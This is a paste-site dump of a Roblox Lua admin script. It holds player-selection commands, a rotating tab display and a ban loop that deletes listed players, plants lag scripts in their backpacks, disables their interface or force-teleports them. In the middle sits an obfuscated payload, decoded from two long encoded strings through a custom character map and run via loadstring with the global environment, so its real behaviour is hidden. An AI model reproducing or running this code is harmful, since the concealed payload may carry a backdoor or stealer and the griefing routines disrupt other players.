- elseif msg == "veterans" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
- elseif msg == "others" then
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v ~= LocalPlayer then
- table.insert(plrs, v)
- end
- end
- else
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v.Name:lower():sub(1,#msg) == msg:lower() then
- if v.Name == "aleksa12432" then
- Output("You can't use commands on creator!!!")
- else
- table.insert(plrs, v)
- end
- end
- end
- end
- return plrs
- end
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- end
- LocalPlayer.Chatted:connect(function(m)
- for i,v in pairs(Cmds) do
- if v["Say"]..key == m:sub(1, #v["Say"]+#key) then
- v["Func"](getPlayers(m:sub(#v["Say"]+#key+1)), m:sub(#v["Say"]+#key+1))
- end
- end
- end)
- local charMap = {["!"] = 0, ["$"] = 1, ["*"] = 2, ["("] = 3, ["-"] = 4, ["#"] = 5, ["%"] = 6, ["?"] = 7, ["="] = 8, ["&"] = 9, ["_"] = 10, ["+"] = 11, ["~"] = 12, [")"] = 13, ["^"] = 14, ["@"] = 15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "~%@%(%$%~%!*&%)()*$(+(~%@%$%-%(?-?*?&%^%?%=*(?-?*?&%^%?%^*?%(?#?*%=A*%A=+?=?*=#()?!#@(*-+-+?)?^%!?^?^?+?$?#?)%)*B?-?_%^A%~*-%@%!?~#~#$*~#!(*(%(#^%^=)-A)@=%)=_%&=&!_@~!)!~$~^~)~&~^+$~=+??!~@A+!+(+__@%%_!+!++&@#?#~!~!)@=@!!$+?@=~#+%+)+!^@^~^+)#^-^#&%)%)#~#~$)@~_~^+!~%+-?~+_+#+&_+_$_#%+&-_(_)=!#?-!~*^))#)%)$)$=??%_!~^_?++?)#+#(%@#&?=&==*=&=&%$=*?%=^%??@*+-_#*%%#&$&!--!-%!(^-*%-$-&(_(#(#^+)~!%$&$~!-$^!*!&+&A!)_^~%^(@$@$^#&#^^~+~=)*=$~-&#&=&*=*?)_&_@%~-)=@A_*_(_^&^A-$%~=+?(?*=&?=?#?^$+#=%?#=*~#^%&-!_#+^&@_--@(&(=(-(&**(&*&$~#**$^~)$^-~!#-%=!_@*+@^%@+^)^$@+)?_-_*_)&=&-=_=_?#+$+??-##&?+*+__+_%_%#~-&%^=?=)?$=*(+?@%%*%?)%~#!(*(%(&%?#(#~#^%-&?#?-!-?@#==&+(#($($*_*~$?**)=)*+~#^%#$~-@$!*(*=@?-~#!(*(%(+$^$(@#@!@%_(_!==A)~)%=+~_=_?~~*??+=+%%*+@&(_=_#_%#)%(&%=$&(-%(%?)?-$##??*?_%+B%$!%$--!~*+((-?(!@?**@~~-*@*-*#$~#**($#$!$=!+)~)@)!~)&^)!!)(@!@!$$)A^&^&&@=)__~-)!~+~^+$~$~*+^^(+^_%?=#%#^#_#^&@?*-!%)??=(?^*#%!(!*+#?#)$_@+()#=#!#$#~-~@*@$*+(#*?*$**@-)*)_)"
- ,"%)~#!(*(%(+@^++^#@&!^_#^!+!_+)?))&_?++))=)!)$)~~~?*?_&&_$+#_%?*&%#^=*#_##__+&&_?)(#%-?~?!?&*!%+*)#^*)*^*)-&-@!~^(-=-_(+@=)@*-(%*=~@$-*%$=+()$^=^+)-^#)~)($@$#$?!#$?!~#^%%!)+#@=+#@%~@^^_$+=+~^~)=^%^!^&)===)%)$)#~$!#~)@@~@~$)&?+_)_(_$+-%$%&_?_*_%&=&))$@!#$=#&)=+?+((?%(#(-(+(_(&*-%$*~#!(*(%(*$$*$*@$@!=-^-$-(!!!)@&@$(%@-%~%!%_%~#~#-%~&&_!_(&*_#&&&%&^-?=+-&=+##=#-&-$#%=??-=(=^?=?=*&?=?-?&%~%(%=*+#^###-%=$%$@#^#_#@-*#&-^!!-##^-)(^@?(+@+@+@)@_@$!$@!@~*_^-^)))^^^)^^)=$@$($%)-)$)!)%_@_-_@_*_+_-^*@_^^)^^*^?^#^^&=))&~)@__)+&!_&_@)$)@)@)+)%)?=&)&)%)~~!)=~^=*~%~^+^~(=*=~~~~&~@+(~++$=-+_~-~-+%?!+#?%?+?+?^?*?@_^%&%(%-?%?%?=%(_+_!_-%(%$%$%**~***^***~*%%#?^%(%-?&%@%^%=*(%&*&%)(&%+*$(+(*?#%-?#?*?^%!*(?-?*?&%^%?%^*(%=%$%*?=*=*(?-?*?&%^%?%^**%&?-?#%=*(%&*+*)**(%(+*&%&*#*!**(#(%(&*#%^%-%&*&*=*&*"
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(charMap[lo]+charMap[hi]*16)end)))),getfenv())()
- tabmodeldebounce = false
- modeldebounce = false
- game:service'RunService'.Stepped:connect(function()
- if modeldebounce then return end
- rot = (rot % 360) + 0.5
- if tabmodel.Parent ~= workspace then
- modeldebounce = true
- tabs = {}
- tabmodel = Instance.new("Model", workspace)
- tabmodel.Name = "Earth tabs"
- tabs = {}
- wait()
- modeldebounce = false
- end
- end)
- rot = 0
- coroutine.resume(coroutine.create(function()
- game:GetService("RunService").Stepped:connect(function()
- if probemode == false then
- if LocalPlayer.Character then
- if LocalPlayer.Character:findFirstChild("Torso") then
- rot = rot + 0.001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = LocalPlayer.Character.Torso.CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- rot = rot + 0.001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end)
- end))
- for _,v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- Connect(v)
- end
- end
- game.Players.ChildAdded:connect(function(qe)
- if qe:IsA("Player") then
- Connect(qe)
- end
- end)
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- for a, plr in pairs(game.Players:GetChildren()) do
- pcall(function()
- for b, Bl in pairs(Banlist) do
- if plr.Name == Bl["Name"] then
- if Bl["BRank"] == -1 then
- plr:Destroy()
- elseif Bl["BRank"] == -2 then
- NewLS(LagSource, plr.Backpack)
- elseif Bl["BRank"] == -3 then
- NewLS("script.Parent = nil; while wait(0.1) do; game:service'StarterGui':SetCoreGuiEnabled(3, false); end", plr.Backpack)
- elseif Bl["BRank"] == -4 then
- NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
- else
- plr:Destroy()
- end
- end
- end
- end)
- end
- end
- end))
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name == "aleksa12432" then
- Output("YAY, THE CREATOR OF THIS SCRIPT IS IN-GAME :D :D :D")
- end
- end
- game.Players.PlayerAdded:connect(function(plr)
- if plr.Name == "aleksa12432" then
- Output("YAY, THE CREATOR OF THIS SCRIPT IS IN-GAME :D :D :D")
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement